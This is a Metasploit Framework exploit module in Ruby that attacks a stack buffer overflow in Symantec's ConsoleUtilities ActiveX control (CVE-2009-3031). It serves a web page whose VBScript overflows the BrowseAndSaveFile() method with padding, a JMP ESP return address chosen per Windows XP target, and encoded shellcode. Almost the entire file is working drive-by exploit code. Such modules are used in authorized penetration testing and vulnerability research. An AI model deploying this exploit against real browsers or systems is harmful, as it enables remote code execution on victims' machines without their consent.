##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in Symantecs ConsoleUtilities.
				By sending an overly long string to the "BrowseAndSaveFile()" method located
				in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
				execute arbitrary code
			},
			'License'        => MSF_LICENSE,
 			'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'CVE', '2009-3031'],
					[ 'OSVDB', '59597'],
					[ 'BID', '36698'],
					[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
					[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1000,
					'BadChars'      => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English', 	    { 'Ret' => 0x7e47bcaf } ],
					[ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
					[ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
					[ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
				],
			'DisclosureDate' => 'Nov 02 2009',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize variables
		vname   = rand_text_alpha(rand(20) + 1)
		junk    = rand_text_alpha(rand(20) + 1)
		eip     = rand_text_alpha(rand(20) + 1)
		morejunk = rand_text_alpha(rand(20) + 1)
		sc      = rand_text_alpha(rand(20) + 1)
		buf = rand_text_alpha(rand(20) + 1)

		# Set RET and shellcode
		ret = Rex::Text.to_unescape([target.ret].pack('V'))
		shellcode = Rex::Text.to_unescape(p.encoded)

		# Build the Site
		content = %Q|
	<html>
		<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
		<script language='vbscript'>

		#{junk}=String(310,"A")
		#{eip}=unescape("#{ret}")
		#{morejunk}=String(18, unescape("%u0041"))
		#{sc}=unescape("#{shellcode}")

		#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
		#{vname}.BrowseAndSaveFile "",#{buf},"","",""
		</script>
	</html>
		|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
